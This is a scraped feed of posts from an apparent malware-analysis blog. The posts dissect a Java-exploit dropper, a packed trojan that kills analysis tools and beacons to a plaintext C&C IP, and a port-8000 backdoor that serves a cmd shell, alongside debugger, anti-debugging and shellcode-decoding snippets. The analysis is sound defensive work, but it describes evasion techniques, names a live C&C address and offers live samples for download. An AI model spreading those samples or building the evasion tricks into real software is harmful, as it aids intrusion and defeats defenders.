Hello again fellow readers and security enthusiasts.

The last post was filler and I’m sorry for that. Today we’re going to go over some typical malware, start to finish. Exploit to C&C communication.

We start with our exploit file. Java of course. Most of the time when I encounter a java file, it’s heavily obfuscated and uses reflection to bypass Anti-Virus & IDS systems. This is a rare exception – no reflection or obfuscation. Maybe the guy delivering it didn’t know?
In case you don’t know, here is what a typical piece of obfuscated / reflection based java code looks like:
typical_jar_sploit

As you can see, I usually have to fart around with a eclipse to get an idea of what’s going on, but not this time:

jarfile2
In this case, the item being exploited is apparent. The SecurityManager vulnerability.

The other class is of more interest:
jarfile1

How nice of them to leave the link to the binary in the open as well as the means to reach it (user agent strings).
jar3
The program downloads the file into the machine’s temp folder and executes it.

So let’s take a look at the file:
bin0

Typical memory packed exe colluding with a CreateProcess() call right after unpacking itself.

By the looks of the thing, its an MFC app.
justaguess

Since its MFC, that means when we debug the thing, we have to step into the higher addresses to progress through the app and find the entry point:
entry point

If you’re lazy / smart, you’ll set break points on the interesting functions we saw in IDA:
interest
interest2
This skips the BS of having to step through MFC classes and other non sense.

Running the app to this breakpoint, we make a revelation:
whatsthis
What the hell is ‘wuauclt’ ? Windows updates!

Let’s run the app some more and see what happens.

wauc

By the looks of it, its referencing that wuauclt utility, but its in the wrong place. Its supposed to be in the system32 folder. But instead its in another folder in %appdata%.
wauc2

Stepping through a few more procedures we see the following:
wauc3

Seems pretty cut and dry now. The malware is launching an alternative version of windows update.

Comparing the malware’s version of ‘wuauclt’ with the unchanged version we see they are very different both in size and contents:
compare

The MD5′s check out as being non malicious on VirusTotal. I think the spawned / dropped version of Windows Update is fine. Here’s where shit gets weird. There were 2 other files in the wuauclt directory in the user appdata folder. ‘wuauclt.dat’ and ‘clbcatq.dll’. The dat file doesn’t contain anything recognizable as it may just be encoded / encrypted, but the ‘clbcatq.dll’ file is what’s interesting. This file contains the goodies.

Peeking inside the DLL file we see calls known for VirtualAlloc, VirtualProtect, and Sleep().

dll file

Sleep for 1000 hours? Weird.

There’s another sleep call more in context with the appdata folder. A shorter sleep – only 5.5 hours.
dll file 2

Assuming we wait the 5.5 hours for the dll code to do its thang, we are then taken to the following code, our all too familiar VirtualProtect / VirtualQuery calls responsible usually for unpacking of memory packed data by setting sections of memory as readable / writable / executable:
dll file 3

How can I prove this? I’ll have to edit the dll binary’s exe code so that I don’t have to wait 5.5 hours. A hex editor can be used for this, but I prefer to use Immunity for this:
dll edit
Syncing up data structures in hex editors, alignment, and all that BS sucks. When I patch ELF binaries, I have to use a hex editor. On Windows, life is slightly easier.
dll edit2

Now we merely replace the dll file, launch the program, and start listening for that C&C traffic. That was fun!

Now for crazy speculation and theories:
I think the windows update manager stored within the pulled down malware isn’t actually malware, instead it contains a broken call to LoadLibrary which allows a program to invoke a dll of their choosing to be run in the context of the new windows update exe program. Sound far fetched? Check this:
loadlib_maybe
The wuauclt.exe file has a special loadlibrary function. Then one of the strings in the binary pulled down from the malware site was ‘/ShowWU’, one of the command line argument switches for ‘wuauclt.exe’. Maybe this switch holds some significance with the rogue dll?

Just an idea. Just a typical day.

With these details alone, I was able to determine the good guys at sophos had already done the same work for me. Thanks guys.

If you want to play around with the files, I’ve included the IDB files, patched and unpatched binaries here for study (pass is ‘infected’).

SRFnU

Writing your own windows debugger in C

$
0
0

Hello all!

I’m cracking away on various projects and trying to keep focus. As I was going through my old notes, I came across a talk I wanted to give but could not due to my car accident and the subsequent down time caused me to forget. I wanted to cover making your own debugger in windows, but I never completed the project. I had dumping, I had a disassembler, etc, but it never panned out. It was more of a learning experience.

None the less, I will share with you all some snippets I was able to piece together. We’ll go over the basics of “Break & Enter”. There are a few steps involved, but its pretty easy. By break and enter, I mean open a process / thread and break-point on the current instruction, sort of like how you would do when you attach to a process in Immunity / Olly / WinDBG / IDA. Luckily for me, windows provides the means to do so internally and we need only invoke these functions to do our own low level debugging. Disassebmly and dumping however is not supported internally on windows, so we would have to use a 3rd party library or write our own functionality if we wanted to do this. Debugging on the other hand is easy. Perhaps in the future I’ll finish my debugger when time is more permissive and I have more interest.

These are the steps:

Step 1 – get process id – can be done programatically with win32 snapshots / psapi or with task manager

Step 2 – get handle to said process id – OpenProcess() win32 api

Step 3 – getthreadcontenxt and store in structure- Windows api which stores the registers (eax, esi, etc)

Step 4 – Enable debug privileges and suspend the thread so we can mess with it.

Step 5 – call the DebugBreakProcess() function which writes an int3 call into the EIP for the process.

Step 6 – Handle the debug loop. The debug loop is responsible for handling debug events such as single step interrupts, access violations, thread / process creation and the like.

The code is below and I’ve tried my best to comment it and add the appropriate links to MSDN.

DWORD pid = 2182; // PID grabbed from task manager

HANDLE myproc = OpenProcess(PROCESS_VM_READ | PROCESS_QUERY_INFORMATION ,TRUE,pid); // open it, may have to do debug for the main loop


void BreakAndEnter(HANDLE proc)
{
    CONTEXT tcx;
    // http://msdn.microsoft.com/en-us/library/windows/desktop/ms679297%28v=vs.85%29.aspx
    // there are 2 ways to do this
    // 1) WriteProcessMemory() and pass he int3 opcode to the stack of the currently executing process
    // 2) DebugBreakProcess() function which does the same thing essentially
    // but first, you NEED to set the debug privilege
    EnableDebugPriv(proc);
    SuspendThread(proc);
    // You need to suspend the thread b4 calling getthreadcontext
    GetThreadContext(proc,&tcx);
    printf("Register info for debugged process: \r\n");
    printf("EAX: %d\r\n",tcx.Eax);
    printf("EBX: %d\r\n",tcx.Ebx);
    printf("ECX: %d\r\n",tcx.Ecx);
    printf("EDX: %d\r\n",tcx.Edx);
    printf("ESI: %d\r\n",tcx.Esi);
    printf("ESP: %d\r\n",tcx.Esp);
    printf("EIP: %d\r\n",tcx.Eip);
    DebugBreakProcess(proc);
    // after calling into this, we need to tell our remote thread to continue
    ContinueDebugEvent();
    // Our debug debug loop will handle any and all exceptions
    system("pause");
    EnterDebugLoop();
    //Applications should call FlushInstructionCache if they generate or modify code in memory. The CPU cannot detect the change, and may execute the old code it cached.
   // FlushInstructionCache(proc,baseaddr,sizeofregion);
    // After all this is called, we can handle our debug events
    // http://msdn.microsoft.com/en-us/library/windows/desktop/ms679302%28v=vs.85%29.aspx


}

BOOL EnableDebugPriv(HANDLE proc)
{
	    HANDLE hToken;
	    LUID sedebugnameValue;
	    TOKEN_PRIVILEGES tkp;
	    // pass our opened process handle
	    OpenProcessToken(proc, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
        LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &sedebugnameValue);
	    tkp.PrivilegeCount = 1;
	    tkp.Privileges[0].Luid = sedebugnameValue;
	    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
	    if(AdjustTokenPrivileges(hToken, FALSE, &tkp, sizeof tkp, NULL, NULL))
	    {
        CloseHandle(hToken);
	    return TRUE;
	    }
	    else
	    {
	        MessageBox(NULL,"Bro, you gotta be an admin to set privs like this", "Shit", MB_OK);
	        CloseHandle(hToken);
	        return FALSE;
	    }


}

void EnterDebugLoop(const LPDEBUG_EVENT DebugEv)
{
   DWORD dwContinueStatus = DBG_CONTINUE; // exception continuation

   for(;;)
   {
   // Wait for a debugging event to occur. The second parameter indicates
   // that the function does not return until a debugging event occurs.

      WaitForDebugEvent(DebugEv, INFINITE);

   // Process the debugging event code.

      switch (DebugEv->dwDebugEventCode)
      {
         case EXCEPTION_DEBUG_EVENT:
         // Process the exception code. When handling
         // exceptions, remember to set the continuation
         // status parameter (dwContinueStatus). This value
         // is used by the ContinueDebugEvent function.

            switch(DebugEv->u.Exception.ExceptionRecord.ExceptionCode)
            {
               case EXCEPTION_ACCESS_VIOLATION:
               // First chance: Pass this on to the system.
               // Last chance: Display an appropriate error.
                  break;

               case EXCEPTION_BREAKPOINT:
               // First chance: Display the current
               // instruction and register values.
                  break;

               case EXCEPTION_DATATYPE_MISALIGNMENT:
               // First chance: Pass this on to the system.
               // Last chance: Display an appropriate error.
                  break;

               case EXCEPTION_SINGLE_STEP:
               // First chance: Update the display of the
               // current instruction and register values.
                  break;

               case DBG_CONTROL_C:
               // First chance: Pass this on to the system.
               // Last chance: Display an appropriate error.
                  break;

               default:
               // Handle other exceptions.
                  break;
            }

            break;

         case CREATE_THREAD_DEBUG_EVENT:
         // As needed, examine or change the thread's registers
         // with the GetThreadContext and SetThreadContext functions;
         // and suspend and resume thread execution with the
         // SuspendThread and ResumeThread functions.

            dwContinueStatus = OnCreateThreadDebugEvent(DebugEv);

            break;

         case CREATE_PROCESS_DEBUG_EVENT:
         // As needed, examine or change the registers of the
         // process's initial thread with the GetThreadContext and
         // SetThreadContext functions; read from and write to the
         // process's virtual memory with the ReadProcessMemory and
         // WriteProcessMemory functions; and suspend and resume
         // thread execution with the SuspendThread and ResumeThread
         // functions. Be sure to close the handle to the process image
         // file with CloseHandle.

            dwContinueStatus = OnCreateProcessDebugEvent(DebugEv);
            break;

         case EXIT_THREAD_DEBUG_EVENT:
         // Display the thread's exit code.

            dwContinueStatus = OnExitThreadDebugEvent(DebugEv);
            break;

         case EXIT_PROCESS_DEBUG_EVENT:
         // Display the process's exit code.

            dwContinueStatus = OnExitProcessDebugEvent(DebugEv);
            break;

         case LOAD_DLL_DEBUG_EVENT:
         // Read the debugging information included in the newly
         // loaded DLL. Be sure to close the handle to the loaded DLL
         // with CloseHandle.

         //   dwContinueStatus = OnLoadDllDebugEvent(DebugEv); busted
            break;

         case UNLOAD_DLL_DEBUG_EVENT:
         // Display a message that the DLL has been unloaded.

//            dwContinueStatus = OnUnloadDllDebugEvent(DebugEv); busted
            break;

         case OUTPUT_DEBUG_STRING_EVENT:
         // Display the output debugging string. doesnt fucking work

//            dwContinueStatus = OnOutputDebugStringEvent(DebugEv);
            break;

         case RIP_EVENT:
//            dwContinueStatus = OnRipEvent(DebugEv); doesnt fucking work

         //   http://msdn.microsoft.com/en-us/library/windows/desktop/ms681675%28v=vs.85%29.aspx
          //  http://support.microsoft.com/kb/121093
            break;
      }

   // Resume executing the thread that reported the debugging event.

   ContinueDebugEvent(DebugEv->dwProcessId,DebugEv->dwThreadId,dwContinueStatus);
   }
}

Happy hacking!
k9AnYwF

0day Wednesday – Newish Malware That Came Across My Desk

$
0
0

Some may say this is crazy, I call it Wednesday.

This came across my desk yesterday and I worked it out today. It came as the payload following a java exploit from an old 2012 CVE (SecurityManager one I think). I’m calling it 0day because there were no listing for the exe in VirusTotal / Malwr both packed and unpacked.

Initial inspection in IDA reveals an error:
p1

This means the asshat who made this probably knew at some point, someone like me would be taking a look. There are actually quite a few modifications you can do to an exe that will mess up disassemblers but that windows will ignore.

Inspecting the exe with CFF Explorer, we see an error with one of the NT headers, specifically within ‘Data Directories’ at the Delay Import Directory RVA field. CFF is nice enough to highlight for us that the value 0×00000040 is wrong. Zeroing this out seems to fix it.
p2

Saving the exe and re-opening in IDA, we no longer get the error and the thing open’s without a hitch.

A quick glance over the exe in IDA shows us its an MFC application. How do I know this? It says so right in the imports section under Library:

p3

The application is of course, packed. Memory packed. No section header modification, just your typical memory pack.

p4

What this means is that, static analysis is out of the question. We need to do dynamic analysis in order to probe further. Immunity away!

Before we get into immunity and the VM, there are a couple of interesting things inside the exe that aren’t immediately apparent in IDA, but show in CFF explorer. For starters, there are a couple files that stick out like a sore thumb hidden in the resources directory.

The first is a PNG file
p5
And the second is an html file
p6

Odd. Viewing the PNG file in IfranView (best image viewer ever BTW) shows a small black image, but it doesn’t add up as the image itself is 55 kb. Obviously something is hidden within. Stenography?
p7

Next we have the HTML file. Loading it up (and cleaning it up) with notepad++, we see some sort of browser detection code:
p8

Why this is in the resources section and not packed with the other code is a mystery, but keep the resources section in mind for later. Now lets get back to unpacking this thing.

First thing we do is load up Immunity debugger and Virtual Box, and load our anti-anti-debug python plugin.
p9

Now we run the sucker and inspect memory after the thing has completed running:
p10

I see a few memory ranges marked Read Write Execute (RWE). One at address 00910000, one at 00930000, one at 00940000, and lastly, one at 00970000. Inspecting a few shows us only 3 of the 4 contain programs. Still 3 programs hiding in 1? Cool beans.

p11

Now we need to dump our programs from memory into a file for further analysis. Bringing up OllyDumpEx and feeding it our 0090 ranges, we see the programs at 0091000 and 00970000 match the original program based on their size, section headers and characteristics. The memory range at 00950000 however is different from the others. We see different section headers, different sizes. This must be our golden egg.

p12

We’re going to dump the exe using the ‘Binary(Raw)’ dump mode instead of rebuild mode as to preserve the integrity of the dumped exe.
p13

The 2 section headers are a dead give away that the program is packed with UPX. Running the upx utility against it confirms this. This means we can easily unpack our golden egg:
p14

Our new exe is about 40 KB bigger and unpacked proper, so now we can finally take a peek inside with IDA. Taking a look at the strings, we see some interesting info.
p15

What’s this? HTTP request info. Looks like this thing sends home to Mamma using POST requests.

But what about the C&C server you may ask? It doesn’t appear to be in plain text in our program. Remember what I said earlier about the resources section? Let’s take a peek in the resources section of our golden_egg.exe.

p16

Bingo. http://31.207.6.161. How nice of the coder to leave this in plain text for us. Security through obscurity strikes again.

Now I’m sure you’re wondering what happens when this main application runs. Let’s see what happens:

Upon launch, it automatically closed my process explorer app and any attempts to load task manager are prompted with a quick message box stating “task manager has been disabled by the administrator” before closing very quickly. I wish I could have showed you in the screenshot, but I am not that quick. Improvising with Immunity, we see our original program ‘golden_egg.exe’ is no longer running. Instead some other program named ‘zpNvNKSi.exe’ instead is running, and from the temp folder. Comparing the hashes, they appear to be the same:

p18

Like my hasher? Download it here.

Free advertising aside, its clear what this program does – it disables task manager, kills off “undesirable” applications and runs from the temp folder. Checking msconfig shows it also adds 2 files to start up:
p19

I checked both and they are byte for byte copies of the original program.

Attaching to the program with Immunity and inspecting the program’s memory and thread count (the ‘t’ button) reveals the program is multithreaded. I count 12 threads.

p20

I’m assuming each one of these threads watches one another in case one is killed, however with the main process suspended, we can now open the thing up with Process Explorer and take a peek at the memory. Inspecting, we see a few things that weren’t in our IDA strings:

p21

Going out on a limb, I think the program checks for these programs and force kills them if they are run. This would explain why process explorer was killed when the program running. Kind of makes it difficult to run any of these tools when the malware kills them immediately. I see regedit, LordPE, wireshark, regmon, filemon, procmon, tcpview, taskmgr, and even Windows Defender. Harsh. I do not however see Process Explorer’s bastard cousin Process Hacker.

Going back to memory, this means the program was obviously either obfuscating these strings, or is packed a second time. Either way, lets find out.

p22

Doing a unicode search for one of the strings we saw in memory from Process Explorer shows the string ‘taskmgr’ is located in the .data section. Did IDA lie to me about the strings? No, not quite. Looking again and doing a slow binary search does show the other strings. I guess IDA doesn’t show unicode strings when it does its search by default. You can change this in IDA by using the shortcut ‘alt+A’ and choosing option 6 for unicode.
strings

Inspecting the new unicode strings seems to reveal more functionality from this malware.
p23

Interesting stuff.

Given the program will kill our attempts to run with WireShark open, we need to locate the functionality responsible for killing the program and patch over it. How do we do this? Locate the TerminateProcess() api call.

Not too hard to find in IDA. Looking in the imports section we see a reference to TerminateProcess.
p24

It appears to be some sort of looping logic that looks up process names with the ‘CreateToolhelp32Snapshot’ api and if they meet a certain condition, kills them. That list of names we saw earlier likely corresponds to this.

So what can we do? We could change the logic of the program so that way it doesn’t call TerminateProcess and instead does nothing. Checking the sub routine’s Xref’s (eXternal REFerenceS), we see the function is called from sub routine 00401D2A. There is a ‘jnz’ instruction responsible for the determining whether or not to call into the sub routine responsible for looking up processes and killing them. If we can patch the program to never call into this routine, we can skip over the sub routine and run any black listed program we want.

p25

let’s get to it. I prefer to do my patching with Immunity since its easier and I am more familiar. We start by bringing up the sub routine in our running exe. The instruction that has our conditional jump is at ’0x00401d4e’. By nop’ing out the area, we are forcing the instruction flow to ‘ret’ instead of jumping to 00401d2c which contains our blacklist process killer.

p26

Unpausing our program and letting it run, we test trying to invoke one of the blacklisted programs. It seems to be working because ‘regedit’ worked and ‘process explorer’ wasn’t killed.

p27
p28

Now we can perform a detailed network analysis with wireshark, file analysis and registry analysis with procmon, and mess around with Process Explorer with the program running live.

We can see with Process Explorer a syn packet being sent to our C&C server (the one we pulled from the resources section) via port 80.

p29

Wireshark is a bit more revealing. We see our syn packets to our HTTP based C&C, however we also see a bunch of DNS requests to some unknown domain names. What’s up with that?

p30

The server will continue to call home, but I don’t want it to. I could modify the resources section in our ‘golden_egg.exe’ file and make it point to my own HTTP server and inspect its functionality, but that’s a lot of work. For now, we have what we need. We have the C&C, we have the unpacked program, we have its HTTP signature, and we have its behavior. Case closed. Another 0day Wednesday come and gone.

If you wish to download the malware and see it for yourself, you may download it here. The password is ‘infected’.

Hope you all learned something. Happy cracking!

omzUw


Other AntiDebug tricks

$
0
0

I came across this one individual’s page whom is an avid reverse engineer with some great material.

Check out his pdf cheat sheet on anti-debugging. There were a few in there I didn’t know about like the ‘csr’ trick which involves calling an undocumented ‘CsrGetProcessId’ function within OpenProcess. CsrGetProcessId is a native API that returns the PID of csrss.exe.

Evidently if you call OpenProcess and pass the ID returned by CsrGetProcessId(), no error will occur if the SeDebugPrivilege has been set with SetPrivilege() / AdjustTokenPrivileges(). How about some code with that shake?

#include <stdio.h>
#include <windows.h>
typedef HANDLE (*_CsrGetProcessId)();

int main(void)
{
HMODULE nt=GetModuleHandle("ntdll.dll");
_CsrGetProcessId CsrGetProcessId=(_CsrGetProcessId)GetProcAddress(nt,"CsrGetProcessId");
HANDLE proc = OpenProcess(PROCESS_ALL_ACCESS,FALSE,CsrGetProcessId());
if(!proc)
{
printf("debugger is present!");
}
}

The cheat sheet has other stuff in it. Check it out some time. Better yet, check out the guy’s blog instead.

Happy cracking!

Merry F’in Christmas to you too buddy!

$
0
0

So here I am at work on Christmas Eve (because I have no soul) and the malware is insulting me.

insulting me
See it? Fuck you too buddy!

And in another one, to be an asshole, they embedded their program in another program. I was wondering why IDA was showing a stub program less than 5 kb in size when there was a full 300 kb to work with. Dick move yo.
fuck you too

Can’t we all just get along? Be nice to one another for ONE day out of the year?

Nah.

Remote Backdoor Malware Writeup

$
0
0

Seasons greetings from your fellow hacker cracker, AverageJoe.

Tonight I’d like to go over some malware I spent the better part of November going through off and on. Its a part of the payload delivered by an exploit kit called Neutrino. Perhaps you’ve heard of it?

Anywho, let’s get down to business.

First things first, when I plucked the file from the infected asset, one thing stood out – the date time stamp.
p1
What the hell? This is a primitive form of hiding files – pc techs are taught to look for files recently created / modified, so by adjusting the date time stamp, it looks inconspicuous. I’ve already gone over this before, it’s just odd to see malware doing it. Maybe they read my blog?

Now let’s inspect the meta data:
p2
KSP Exception External Diagnostics Utility? It’s like they just jumbled a bunch of tech jargon together. Clever girl.

Let’s dive right in with IDA. Here we show ‘WinMain’. It’s not what IDA identified as the entry point, but it does get here eventually and judging by the graph contains the meat and potatoes of the app.
p3

Initial introspection – Anti debugging code right at the beginning of the main function with calls to GetTickCount(), a comparison, and a long jump to exit the program. Crude, but effective against noobs. In fact, this malware makes use of this API in spades. p4
Luckily however, the ‘hidedebug’ python script that comes with immunity debugger supports patching of this API.

After some fucking around, I found the right entry function responsible for decoding the exe, unpacking, etc. The malware placed its code in the ‘atexit’ function. FYI, the ‘atexit’ function is a C++ specific call back function executed when a program exits. See http://www.cplusplus.com/reference/cstdlib/atexit/ for more info. So ‘atexit’ calls a function ‘onexit’ which then calls another function ‘__onexit_nolock’ which when disassembled by IDA looks a little something like this:
covert_code

See the calls to Encode/DecodePointer()? MSDN says “Encoding globally available pointers helps protect them from being exploited. The EncodePointer function obfuscates the pointer value with a secret so that it cannot be predicted by an external agent. The secret used by EncodePointer is different for each process.” I guess this is a more advanced form of anti-debugging, but not a very good one since the code WILL look different when run as opposed to being static:
process checking maybe

In this case, the actual code is a process checking loop that checks to see which processes are running, likely more anti-debugging counter measures. Suddenly this malware got 10 times more interesting.

Continuing my single stepping, I get to this:
user profile svchost
It appears as though the malware copies itself into the all-user’s folder under the name ‘svchost.exe’.

Single stepping takes for fucking EVER, so I decide to let it run and wait for something interesting to happen:
I noticed the CPU usage spiking so I paused execution. The IP was set to code outside of the normal section:
p8_unpak
Stepping through the code, I encountered a CreateThread() call that didn’t make any sense:
p9 - extra thread not visible
This actually threw me off for a little while as the newly created thread had no handle associated with it, and immediately after the malware called ExitThread(), the malware would run inside another thread and leave my debugger useless.

Restarting and going back to the same place, I see a phantom thread:
p10 - phantom thread
Weird stuff.

Eventually I decided to use the ‘EBFE’ method to get around this. I set a break point on the CreateThread call and replaced the entry point pointed to by CreateThread() with the bytes x\EB\xFE (jump to self), then re-attach my debugger.

p12 - break point on createthread

Once I had control of the app again in the debugger, I continued execution. The malware copied itself to the appdata directory and attempted to call itself. Typical malware behavior. This was followed by a call to cmd.exe presumably to a batch file to delete itself.
kernel32 code again

Just by looking at the strings, we see references to the start-up registry entries along side our ‘svchost.exe’ entry in the all users folder.

Allowing the code to run again, we see a new loaded module – ws2_32.dll (winsock). Now what could that be for?
mswsock

Continuing to run the program, I noticed something odd. The firewall alert went off on my xp vm. Clicking allow and checking process explorer, we see a newly opened port:
port 8000

I restarted the program and placed a break point on one of the winsock function – wsaaccept: wsa_accept

I then telnet to localhost on port 8000 and wait to see what happens:
telnet 8000

After connecting, I hit the wsaaccept break point. Remember that the WSAAccept function conditionally accepts a connection based on the return value of a condition function. Inspecting the call stack I come across the following:
cmdexe

Referring back to my telnet window, I see a remote shell. The malware opens port 8000 on my box, waits for something / someone to connect and opens a cmd shell. I ran tasklist and it was fairly receptive.
cmd_shell

How does it spawn the shell? I observed a CreateProcess() call shortly after connecting to the port.
createprocess call

This malware employed various techniques I hadn’t seen before and coupled them with other things I had seen, some common, some not. Changing of the date time stamp, using a common process name, deceptive meta data, encoding pointers, etc. All good stuff. I learned a lot and you can too, download the backdoor here. The password is infected. I left my original jumbled notes that make sense to me and probably a handful of other people as well:
p11 - notes

I apologize for taking so long to release this, but I’ve been busy. I still have tools to finish and figure out what i want to talk about this year for the cons.

Stay safe!
FuUfDCR

Python and Immunity Debugger

$
0
0

Howdy all!

Been a great few weeks. Lots of ideas flowing and lots more malware to work on. I got it down to a science now. What I’ve been digging into lately is taking advantage of the Python shell inside immunity debugger. The library is feature rich and combines the capabilities of Immunity with the awesomeness of python.

For example, let’s set some breakpoints on the commonly used API’s that malware always seems to abuse.

"""mybp"""

DESC="""Sets Joe's comprehensive malware breakpoints"""

# -*- coding: utf-8 -*-
import getopt
import immutils
import getopt
from immlib import *

def usage():
	imm.log("!mybp, no args, just !mybp")
	
	
	def main(args):
		if args:
			usage()
		else:
			imm = Debugger()
			
			"""logs and packers"""
			imm.setBreakpointOnName("kernel32.CreateFileA")
			imm.setBreakpointOnName("kernel32.CreateFileW")
			"""packers"""
			imm.setBreakpointOnName("kernel32.MapViewOfFile") 
			imm.setBreakpointOnName("kernel32.VirtualProtect")
			"""process stop"""
			imm.setBreakpointOnName("kernel32.ExitProcess")
			imm.setBreakpointOnName("kernel32.TerminateProcess")
			"""process and thread creation"""
			imm.setBreakpointOnName("kernel32.CreateThread")
			imm.setBreakpointOnName("kernel32.CreateProcessA")
			imm.setBreakpointOnName("kernel32.CreateProcessW") 
			
			return "Set breakpoints for file creation, process creation, process exiting and thread creation."

Compile with idle and place it in the C:\Program Files (x86)\Immunity Inc\Immunity Debugger\PyCommands\ folder, then execute it with an exclamation point !cmd
In the case of my little script, it will set the appropriate breakpoints and let me know in the grey title window when its done:
screeny

Just searching through the ‘immlib.py’ file there’s a hundred other functions to make use of. There’s also a python shell within IDA Pro I use from time to time with a number of libraries and functions to take advantage of. Not only that there’s still pydasm which is awesome. I like to make use of pydasm for on the fly stuff like decoding shellcode:

import sys
import os
import pydasm
# Open our specimen 
f = open("c:\\shellcoded_pdf.pdf","rb")
# 0x97 is the start of the ascii encoded shellcode
b = f.read(2)

buff = ""
while b != '':
	try:
		buff = buff+chr(int(b,16))
		b = f.read(2)
	except ValueError:
		break
		offset = 0
		while offset < len(buff):
			i = pydasm.get_instruction(buff[offset:],pydasm.MODE_32)
			print offset , ' ',pydasm.get_instruction_string(i,pydasm.FORMAT_INTEL, offset)
			if not i:
				break
				offset +=  i.length
			if offset == 17:
				offset += 1

I guess python and reverse engineering go together like peanut butter and jelly. Fine by me.
Happy hacking!
DJXUw

Friday Quicky

$
0
0

Salutations!

Just wanted to share a couple things. First off, I encountered some clever malware.
clever girl
By checking to see if an audio device is enabled (by adjusting the volume), the malware knows not to run if it can’t. Because honestly, who enables audio drivers on their VM?

Other than that, I whipped up a little app in .NET to make use of bitwise operations on text. I’m sick of coding up little scripts in python or C to do essentially quick transformations.
xor
Noted above is the standard McAfee BUP file which uses the XOR 0x6A (106 decimal) ‘encryption’. A lot of times, I’ll encounter malware placing encoded data through out the OS. This little app helps me decipher it quickly. Download it here: XOR_By. The password is ‘lolwut’.

That’s all I had for today.

Happy Hacking!
nDRRxmk

Viewing all 37 articles
Browse latest View live